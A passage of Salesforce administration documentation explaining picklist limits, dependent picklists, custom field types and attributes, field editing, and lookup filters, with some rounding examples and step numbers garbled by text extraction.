User Permissions Needed To change picklists: Customize Application

The maximum number of entries you can have in a standard or custom picklist is determined by the total number of characters allowed in the picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are not visible. These two additional characters per entry are counted as part of the 15,000 character limit. Additional limits apply to both standard and custom picklists. Additional Limits for Standard Picklists For standard picklists, entries can be up to 40 characters, not including linebreaks and returns. For standard multi-select picklists, the total number of characters for all entries cannot exceed 255. For standard picklists in organizations that use record types or the Translation Workbench, you can have an unlimited number of entries with the following exceptions for special picklists. Picklist Field
Lead Status Task Status Task Priority Case Status Case Priority Opportunity Stage

Maximum Number of Entries 100 100 50 100 50 100

972

Customize

Defining Dependent Picklists

Additional Limits for Custom Picklists Within the 15,000 total character limit, custom picklists can have: Up to 1,000 entries Up to 255 characters per entry

Custom multi-select picklists can have: Up to 150 values Up to 40 characters per value

Note that for multi-select picklists, users can select up to 100 values at a time on a record.

See Also:
Modifying Picklists

Defining Dependent Picklists


Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To define dependent picklists: Customize Application

To define a dependent picklist: 1. Navigate to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies. 3. Click New. 4. Choose a controlling field and dependent field. Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these fields, see Dependent Picklist Considerations on page 977. 5. Click Continue. 6. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling field value.

973

Customize

Defining Dependent Picklists

7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling field. The record type and the controlling field together determine what values are available in the dependent pickilst. For example, a dependent value is only available if it is available in the selected record type as well as the selected controlling value. Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.

8. Click Save. 9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the appropriate record types. For instructions on using record types, see Managing Record Types on page 1180.

See Also:
Dependent Picklist Considerations Editing Dependent Picklists Deleting Picklist Dependencies

About Dependent Picklists


Available in: All Editions

Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or mutli-select picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be any standard or custom picklist (with at least one and fewer than 300 values) or checkbox field on the same record. For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the Stage picklist as follows: If Stage is Closed Won, the valid values for Reason are Superior features or Lower price. If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company viability.

See Also:
Defining Dependent Picklists Dependent Picklist Considerations

974

Customize

Defining Dependent Picklists

Using the Field Dependency Matrix


Available in: All Editions

User Permissions Needed To define picklist dependencies: Customize Application

The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values. Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value. To include or exclude values: Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values to exclude them. Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values. Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values. Click a column header to select all the values in that column. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values.

To change the values in your view: Click View All to view all available values at once. Click Go To and choose a controlling value to view all the dependent values in that column. Click Previous or Next to view the values in columns that are on the previous or next page. Click View sets of 5 to view 5 columns at a time.

Editing Dependent Picklists


Available in: All Editions

User Permissions Needed To edit field dependencies: Customize Application

To edit dependent picklists: 1. Navigate to the fields area of the appropriate object:

975

Customize

Defining Dependent Picklists

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies. 3. Click Edit next to the field dependency relationship you want to change. 4. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling field value. 5. Optionally, click Preview to test your selections. 6. Click Save.

See Also:
About Dependent Picklists

Deleting Picklist Dependencies


Available in: All Editions

User Permissions Needed To delete picklist dependencies: Customize Application

If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete the fields or affect their data. To delete picklist dependencies: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. Click Field Dependencies. 4. Click Del next to the field dependency relationship you want to delete. 5. Click OK to confirm.

See Also:
About Dependent Picklists

976

Customize

Defining Dependent Picklists

Dependent Picklist Considerations


Available in: All Editions Page Layouts and Leads are not available in Database.com

User Permissions Needed To define and edit dependent picklists: Customize Application

Consider the following when defining dependent picklists: Checkboxes Checkbox fields can be controlling fields but not dependent fields. Converting fields Convert your existing fields to dependent picklists or controlling fields without affecting the existing values in your records. Going forward, dependency rules apply to any changes to existing records or new records. Default values You can set default values for controlling fields but not for dependent picklists. Field-level security Field-level security settings for a controlling field and dependent picklist are completely independent. Remember to hide controlling fields whenever its correlating dependent picklist is hidden. Import The import wizards do not consider field dependencies. Any value can be imported into a dependent picklist regardless of the value imported for a controlling field. Lead conversion If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create the same dependency on the account, contact, or opportunity as well. Dependent picklists and controlling lead fields can be mapped to account, contact, or opportunity fields with different dependency rules. Multi-select picklists Multi-select picklists can be dependent picklists but not controlling fields. Connect Offline While controlling fields and dependent picklists are available in Connect Offline, the logic between them is not. Page layouts Make sure controlling fields exist on any page layout that contains their associated dependent picklist. When the controlling field is not on the same page layout, the dependent picklist shows no available values. For visually-impaired users, make sure the dependent picklist is lower on the page layout than its controlling field.

977

Customize

Defining Dependent Picklists

If a dependent picklist is required and no values are available for it based on the controlling field value, users can save the record without entering a value. The record is saved with no value for that field. Picklist limitations Custom picklist fields can be either controlling or dependent fields. Standard picklist fields can be controlling fields but not dependent fields. The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field and dependent picklist, it can't contain more than 300 values. Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do not contain any values until you add them. If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by Self-Service User is a controlling field, its dependent picklist will display all available values. The following fields are not available as controlling fields: Activity Fields
Call Type Create recurring series of events Show Time As Subject Task Type

Contact Fields
Salutation Contact Currency

Custom Object Fields


Currency

Lead Fields
Converted Unread By Owner

Record types The values in your controlling fields are determined by the record type selected. The values in your dependent picklists are determined by the record type and controlling field value selected. In short, the values available in dependent picklists are an intersection of the record type and controlling field selections. For more information on record types, see Managing Record Types on page 1180.

See Also:
About Dependent Picklists

978

Customize

Sorting Picklists

Sorting Picklists
Available in: All Editions

User Permissions Needed To sort picklists: Customize Application

You can sort the values of custom or standard picklist and multi-select picklist fields. 1. Navigate to the fields area of the appropriate object: 2. 3. 4. 5. 6. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

Click Edit next to the picklist you want to update. Click Reorder. Use the arrows to arrange the field in the proper sequence. Select a default, if desired. Check the box to alphabetize the entries for users on edit pages. The entries will always appear in alphabetical order, regardless of the users language. 7. Click Save. Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are sorted alphabetically.

See Also:
Modifying Picklists

Replacing Picklist Values

979

Customize

Replacing Picklist Values

Available in: All Editions

User Permissions Needed To replace picklist values: Customize Application

You may need to replace a picklist value with another. For example, your status picklist has five values (Open, In Progress, Closed-red, and Closed-yellow, and Closed-green) and you want to simplify it to three values (Open, In Progress, and Closed). You need to replace the Closed-red, Closed-yellow, and Closed-green values with a new value: Closed. Note: Replacing an existing picklist value also changes the Modified By date and time for the record.

To globally replace the values of custom or standard picklist fields in existing records follow the steps below. 1. If necessary, create the replacement value in the picklist edit page, see Updating Picklists on page 966. 2. Navigate to the fields area of the appropriate object: 3. 4. 5. 6. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

Click Replace next to the picklist. Type the exact value you want to change, and select a new replacement value. Check Replace all blank values to apply the new value on any records that do not have a value in this field. Click Replace to update all occurrences of the value with the new value in your organizations records including those in the Recycle Bin. Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected Revenue fields are also updated with the corresponding values.

See Also:
Modifying Picklists

About Custom Fields

980

Customize

About Custom Fields

Available in: All Editions Tabs are not available in Database.com

User Permissions Needed To create or change custom fields: Customize Application

To tailor Salesforce for your organization, you can add custom fields for each of the tabs and objects that your organization uses. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 1898. See the following for more information: Creating Custom Fields Editing Fields Viewing Fields Deleting Fields Building Formulas Defining Dependent Picklists Defining Default Field Values Additional Custom Field Options Custom Field Attributes Changing Custom Field Type

Creating Custom Fields


Available in: Personal, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Relationship fields are not available in Personal Edition Custom settings are not available in Professional Edition Layouts are not available in Database.com

User Permissions Needed To create or change custom fields: Customize Application

Create custom fields to store the information that is important to your organization. Before you begin, determine the type of custom field you want to create. You can create many different custom field types, including lookup, master-detail, and hierarchical relationships. To add a custom field:

981

Customize

About Custom Fields

1. Navigate to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click New in the Custom Fields & Relationships section of the page. Tip: From this section, you can also set field dependencies and field history tracking on custom objects.

3. Choose the type of field to create, and click Next. Note: Some data types are only available for certain configurations. For example, the Master-Detail Relationship option is available only for custom objects when the custom object does not already have a master-detail relationship. Also, custom settings only allow a subset of the available data types. Relationship fields count towards custom field limits. Field types not listed in custom field types may appear if your organization installed a package from the AppExchange that uses those custom field types. The Roll-Up Summary option is only available on certain objects. Field types correspond to API data types. For more information, see API Data Types and API Field Types in the Web Services API Developer's Guide.

4. For relationship fields, choose the object that you want to associate with it. 5. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge Fields on page 427. Tip: Ensure that both the custom field name and label are not identical to the name and label of any existing standard or custom field for that object. Identical values may result in unexpected behavior when you reference that name in a merge field. If a standard field and custom field have matching names or labels, the merge field displays the value of the custom field. If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also have a standard field with the label Email, the merge field may not be able to distinguish between the standard and custom field names. Make both the custom field name and label unique by adding a character to each, such as Email2 and Email2__c, respectively.

982

Customize

About Custom Fields

6. 7. 8. 9.

Enter any field attributes. For relationship fields, optionally create a lookup filter to limit the valid values and lookup dialog results for the field. Click Next to continue. In Enterprise, Unlimited, and Developer Editions, specify the field's access settings for each profile, and click Next. Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field. Enabled Settings Visible Visible and Read-Only None

Note: When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field is universally required. Profiles with View Encrypted Data permission are indicated with an asterisk.

10. Choose the page layouts that should display the field as an editable field. The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or make it read only. 11. For relationship fields, choose whether to create a related list that displays information about the associated records. You can choose to put the related list on any page layouts for that object. To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related List Label. To add the new related list to page layouts that users have already customized, check Append related list to users existing personal customizations. 12. Click Save to finish or Save & New to create more custom fields.

983

Customize

About Custom Fields

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed.

See Also:
Custom Field Attributes Notes on Changing Custom Field Types Additional Custom Field Options Additional Options for Updating Picklists Universally Required Field Considerations Defining Roll-Up Summaries Managing Deleted Custom Fields Custom Settings Overview Building Formulas Defining Default Field Values

Custom Field Types


The first step in creating a custom field is choosing the type of the field. Below is a description of each custom field type. Field types not listed in custom field types may appear if your organization installed a package from the AppExchange that uses those custom field types. Type Auto Number Description Automatically assigns a unique number to each record. The maximum length of any auto-number field is 30 characters, 20 of which are reserved for prefix or suffix text. Allows users to check a box, indicating a true or false attribute of a record. When using a checkbox field for a report or list view filter, use True for checked values and False for unchecked values. The import wizards and the weekly export tool use 1 for checked values and 0 for unchecked values. Allows users to enter a currency amount. The system automatically formats the field as a currency amount. This can be useful if you export data to Excel or another spreadsheet. Note: Salesforce uses the round half even tie-breaking rule for currency fields. For example, 23.5 becomes 24, 22.5 becomes 22, 22.5 becomes 22, and 23.5 becomes 24. Values lose precision after 15 decimal places.

Checkbox

Currency

984

Customize

About Custom Fields

Type Date

Description Allows users to enter a date or pick a date from a popup calendar. In reports, you can limit the data by specific dates using any custom date field. Allows users to enter a date or pick a date from a popup calendar and enter a time of day. They can also add the current date and time by clicking the date and time link next to the field. The time of day includes AM or PM notation. In reports, you can limit the data by specific dates and times using any custom date field. Allows users to enter an email address, which is validated to ensure proper format. If this field is specified for contacts or leads, users can choose the address when clicking Send an Email. Note that you can't use custom email addresses for mass emails. Allows users to automatically calculate values based on other values or fields such as merge fields. See Building Formulas on page 1053 and Operators and Functions on page 1107. Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34.

Date/Time

Email

Formula

Hierarchical Relationship

Creates a hierarchical lookup relationship between users. Allows users to use a lookup field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a custom hierarchical relationship field to store each user's direct manager. Creates a relationship between two records so you can associate them with each other. For example, opportunities have a lookup relationship with cases that lets you associate a particular case with an opportunity. A lookup relationship creates a field that allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that are linked to it. You can create lookup relationship fields that link to users, standard objects, or custom objects. A lookup relationship has no effect on record deletion or security, and the lookup field is not required in the page layout. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields. For more information on relationships, see Overview of Relationships on page 1610.

Lookup Relationship

985

Customize

About Custom Fields

Type

Description Lookup relationship fields are not available in Personal Edition. Lookup relationship fields to campaign members are not available; however, lookup relationship fields from campaign members to other objects are available.

Master-Detail Relationship

Creates a relationship between records where the master record controls certain behaviors of the detail record such as record deletion and security. For more information on relationships, see Overview of Relationships on page 1610. Available for custom objects only, although you can create a master-detail relationship field on a custom object that links to a standard object. Master-detail relationships cannot be used with campaign members.

Number

Allows users to enter any number. This is treated as a real number and any leading zeros are removed. Note: Salesforce uses the round half up tie-breaking rule for number fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces specified in the number field configuration.

Percent

Allows users to enter a percentage number, for example, '10'. The system automatically adds the percent sign to the number. Note: If the decimal value is greater than 15, and you add a percent sign to the number, a runtime error occurs. Values lose precision after 15 decimal places.

Phone

Allows users to enter any phone number. Salesforce automatically formats it as a phone number. See Entering Phone Numbers on page 17. If you are using Salesforce CRM Call Center, custom phone fields are displayed with the button, allowing click-to-dial functionality. Consequently, salesforce.com recommends that you do not use a custom phone field for fax numbers.

Picklist

Allows users to select a value from a list you define.

986

Customize

About Custom Fields

Type Picklist (Multi-select)

Description Allows users to select more than one picklist value from a list you define. These fields display each value separated by a semicolon. Automatically displays the record count of related records or calculates the sum, minimum, or maximum value of related records. The records must be directly related to the selected record and on the detail side of a custom master-detail relationship with the object that contains the roll-up summary field. For example, a custom account field called Total Number of Guests displays the number of guest custom object records in the Guests related list for accounts. Allows users to enter any combination of letters, numbers, or symbols. You can set a maximum length, up to 255 characters. Allows users to enter any combination of letters, numbers, or symbols that are stored in encrypted form. You can set a maximum length of up to 175 characters. Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact salesforce.com. See also Managing Salesforce Master Encryption Keys on page 672. Allows users to enter up to 255 characters that display on separate lines similar to a Description field. Allows users to enter up to 32,768 characters that display on separate lines similar to a Description field. You can set the length of this field type to a lower limit, if desired. Any length from 256 to 32,768 characters is allowed. Note that every time you press Enter within a long text area field, a linebreak and a return character are added to the text. These two characters count toward the 32,768 character limit. This data type is not available for activities or products on opportunities. Only the first 254 characters in a rich text area or a long text area is displayed in a report. With the use of a toolbar, users can format the field content and add images and hyperlinks. The toolbar allows the user to undo, redo, bold, italicize, underline, strike-out, add a hyperlink, upload or link to an image, modify alignment, add a numbered or non-numbered list, indent, and outdent. The maximum field size is 32,768 characters, inclusive of all the formatting and HTML tags. Only the first 254 characters in a rich text area or a long text area is displayed in a report. The maximum size for uploaded images is 1MB. Only gif, jpeg

Roll-Up Summary

Text Text (Encrypted)

Text Area Text Area (Long)

Text Area (Rich)

987

Customize

About Custom Fields

Type

Description and png file types are supported. For more information, see Using Rich Text Area Fields on page 1014.

URL

Allows users to enter up to 255 characters of any valid website address. When users click on the field, the URL will open in a separate browser window. Note that only the first 50 characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type Notes on Changing Custom Field Types About Roll-Up Summary Fields

Custom Field Attributes


Here is a description of the attributes (in alphabetical order) that make up a custom field entry: Field # Visible Lines Description For long text area fields, set the number of lines to be displayed on edit pages. You can display between 2 and 50 lines (the default is 6 lines). If the text does not fit in the specified number of visible lines, scroll bars will appear. Long text area fields are displayed in their entirety on detail pages and printable views. Option that determines how a roll-up summary field is recalculated after its properties change. Choose Automatic calculation to recalculate a field the next time it is displayed. Choose Force a mass recalculation of this field as a safety net option to force recalculation of the roll-up summary field values. The name used in API SOQL relationship queries. The data type of a field determines what type of information is in the field. For example, an field with the Number data type contains a positive or negative integer. For more information on data types, see Custom Field Types on page 984. For number, currency, and percent fields, the number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. The value to apply when a user creates a new record. For checkbox custom fields, choose Checked or Unchecked as the default value to indicate the

Calculation Options

Child Relationship Name Data Type

Decimal Places

Default Value

988

Customize

About Custom Fields

Field

Description default when creating new records. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. See About Default Field Values on page 1062.

Description

Text that describes the custom field. This description is for administration purposes only and does not display to users on record detail and edit pages that include the field. For auto-number fields, enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix or suffix for the number. Begin by entering the required minimum: {0}. This is a placeholder for the auto-number without any leading zeros. Add any prefix to your number before this placeholder and insert any suffix text after the placeholder. Insert any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD}, which always represent the create date of the record. For information on using auto-number formats when entering your Display Format, see Auto-Number Formatting Examples on page 992.

Display Format

External ID

For each object that can have custom fields, you can set up to three custom text, number, or email fields as external IDs. An external ID field contains record identifiers from a system outside of Salesforce. You can use an external ID field to update or upsert records using the API. When using the API or import wizards for custom objects and solutions, you can use this field to prevent duplicates by also marking the field as Unique. Note: Custom fields marked as Unique count against an object's limit of three External ID fields.

Filter Criteria Formulas

The criteria used to select a group of records to calculate the value of a roll-up summary field. Enter the formula for the custom formula field or custom summary formula for reports. For help on building formulas, see Building Formulas on page 1053. The text that displays in the field-level help hover text for this field. Name of the custom field as you want it to appear. For text fields, the maximum number of characters that a user can enter in a field (up to 255 characters). For number, currency, and percent fields, the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3. For encrypted text fields, determines the character to use for hidden characters. Available options are * and X.

Help Text Label Length (for text fields) Length (for number, currency, percent fields) Mask Character

989

Customize

About Custom Fields

Field Mask Type

Description For encrypted text fields, determines which characters are hidden and the use of dashes in the field. Masked characters are hidden using the character selected in Mask Character. Available options are: Mask All Characters All characters in the field are hidden. Last Four Characters Clear All characters are hidden but the last four display. Credit Card Number The first 12 characters are hidden and the last four display. Salesforce automatically inserts a dash after every fourth character. National Insurance Number All characters are hidden. Salesforce automatically inserts spaces after each pair of characters if the field contains nine characters. Use this option for UK NINO fields. Social Security Number The first five characters are hidden and the last four display. Salesforce automatically inserts a dash after the third and fifth characters. Social Insurance Number All characters are hidden but the last three display. Salesforce automatically inserts a dash after the third and sixth characters.

Master Object Related List Label Related To Required

The object on the master side of a master-detail relationship used to display the value of a roll-up summary field. For relationship fields, the title for the related list that displays associated records on the parent record. For relationship fields, the name of the associated object. Makes the field required everywhere in Salesforce. You must specify a default value for required campaign member custom fields. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. See About Universally Required Fields on page 1100.

Roll-Up Type

For roll-up summary fields, choose the type of calculation to make: Type Description

COUNT Totals the number of related records.

990

Customize

About Custom Fields

Field

Description Type SUM Description Totals the values in the field you select in the Field to Aggregate option. Only number, currency, and percent fields are available. Displays the lowest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available. Displays the highest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available.

MIN

MAX

Starting Number

For auto-number fields, enter a Starting Number that is less than 1 billion. Check Generate Auto Number for existing records... if you would like to automatically number all current records beginning with the starting number you enter. If unchecked, the next record you enter will be assigned the starting number and your existing records will be blank in this field. For leads, only unconverted leads will be assigned a number. An auto-number field can contain up to 10 digits and up to 20 additional characters for your prefix or suffix.

Sharing Setting

For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records. The object on the detail side of a master-detail relationship used to provide the values calculated in a roll-up summary field. If checked, prevents duplicate field values. For text fields, you can control whether values that are identical except for their case are considered unique. Select Treat "ABC" and "abc" as duplicate values to enforce case-insensitive uniqueness, or select Treat "ABC" and "abc" as different values to enforce case-sensitive uniqueness. Note: Custom fields marked as Unique count against an object's limit of three External ID fields.

Summarized Object Unique

Values

For picklist fields, a list of available values (up to 255 characters for each value). For picklists, select the appropriate checkbox to alphabetize the picklist entries. You can also set the first value as the default selection. If you mark both boxes, Salesforce first alphabetizes the entries and then sets

991

Customize

About Custom Fields

Field

Description the first alphabetized value as the default. For multi-select picklists, enter a list of values, check the sorting options that apply, and enter how many values you want displayed at a time on edit pages, which determines the box height.

Auto-Number Formatting Examples Use these examples when setting the display format for auto-number fields. Format {0} {000} Lead- {00000} Campaign- {00} {MM} {DD} {YY} PO #{0} {MM}-{DD}-{YY} Displayed Values 3 66 103 003 066 103 Lead- 00003 Lead- 00666 Lead- 10023 Campaign- 03 120204 Campaign- 76 030304 Campaign123 110904 PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04

See Also:
Creating a Many-to-Many Relationship Web Services API Developer's Guide

Editing Fields
Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To create or change fields: Customize Application

1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. Click Edit next to the fields name. 4. Modify the field attributes. The attributes differ depending on the field type. To change the type of your custom field, see Changing Custom Field Type on page 1163.

992

Customize

About Custom Fields

To make changes to picklists: Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change additional information. Click Del next to a value to remove it from the picklist. Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values or leave your existing data unchanged. Click New to add values to the picklist. If you use record types, select any record types that you want to include the new values. Click Reorder to change the sequence of picklist values. Click Replace to change the values of picklist fields in existing records. Click Printable View to open an easy-to-print list of your picklist values. Click Chart Colors and select an option to assign colors to picklist values for use in charts: Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example, if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that picklist value. Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned dynamically. Manual assignments are overridden each time you click an option in Chart Colors. Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, and Opportunity Competitor picklists.

5. 6. 7. 8.

Optionally, define custom help text for the field. For lookup and master-detail relationship fields, optionally define a lookup filter. For formula fields, click Next to modify the formula. See Building Formulas on page 1053. In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Field-Level Security Overview on page 622. 9. Click Save. Note: Editing fields may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed. To customize the way a custom objects related list appears on a parent records detail page, edit the parent records page layout. For example, if you want to edit which fields appear on a custom objects related list on accounts, you would edit the account page layout. You cannot change the Field Name if a custom field is referenced in an Apex script.

993

Customize

About Custom Fields

When editing fields for accounts, opportunities, cases, contacts, or custom objects, check for any criteria-based sharing rules that use the field in the rules. A field change may affect which records are shared.

See Also:
Changing Custom Field Type Field-Level Security Overview Additional Custom Field Options Additional Options for Updating Picklists Universally Required Field Considerations Defining Default Field Values About Universally Required Fields Managing Deleted Custom Fields

About Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To manage lookup filters: Customize Application

Improve user productivity and data quality with lookup filters. Lookup filters are administrator settings that restrict the valid values and lookup dialog results for lookup, master-detail, and hierarchical relationship fields. Administrators specify the restrictions by configuring filter criteria that compare fields and values on: The current record (source) The lookup object (target) The user's record, permissions, and role Records directly related to the target object

For example, you can: Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out Partner and Competitor. Restrict the Account Name field on opportunities to allow only active accounts. Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name field on the case record. Restrict the Account Name field on cases to allow only users with the International Sales profile to create or edit cases for accounts outside the United States.

994

Customize

About Custom Fields

Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of lookup filter criteria that Salesforce suggests based on the relationships between objects in your organization. Administrators can make lookup filters required or optional. For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also, users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value, Salesforce displays an error message, which administrators can customize. For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save such values.

See Also:
Notes on Lookup Filters About Dependent Lookups Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

About Dependent Lookups


Available in: All Editions

User Permissions Needed To manage dependent lookups: Customize Application

A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can configure the case Contact field to only show contacts associated with the account selected in the case Account Name field. When a user changes the value of a referenced field on the source object, Salesforce immediately verifies that the value in the dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, Salesforce displays an error message and users can't save the record until the value is valid.

995

Customize

About Custom Fields

If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing. Instead, users must click the lookup icon and select a value in the lookup search dialog.

See Also:
About Lookup Filters Notes on Lookup Filters Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Notes on Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To manage lookup filters: Customize Application

Best Practices Custom Help Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example, if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that states You can only associate active accounts with opportunities. Error Messages Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't exist or isn't an active account. Important: Salesforce translates the standard error message for required lookup filters, but not custom error messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore the standard error message after modifying it, click Reset to default message. Profile-Based Lookup Filters Use Current User Profile: ID in filter criteria to define different filter criteria for different users, or to let administrators enter values that don't match the criteria. Avoid using Current User Profile: Name due to technical limitations on standard profiles. See Lookup Filter Examples on page 1002. Record IDs vs. Record Names To reference a specific record in filter criteria, use the ID of the record instead of its name. IDs are always unique whereas names are not.

996

Customize

About Custom Fields

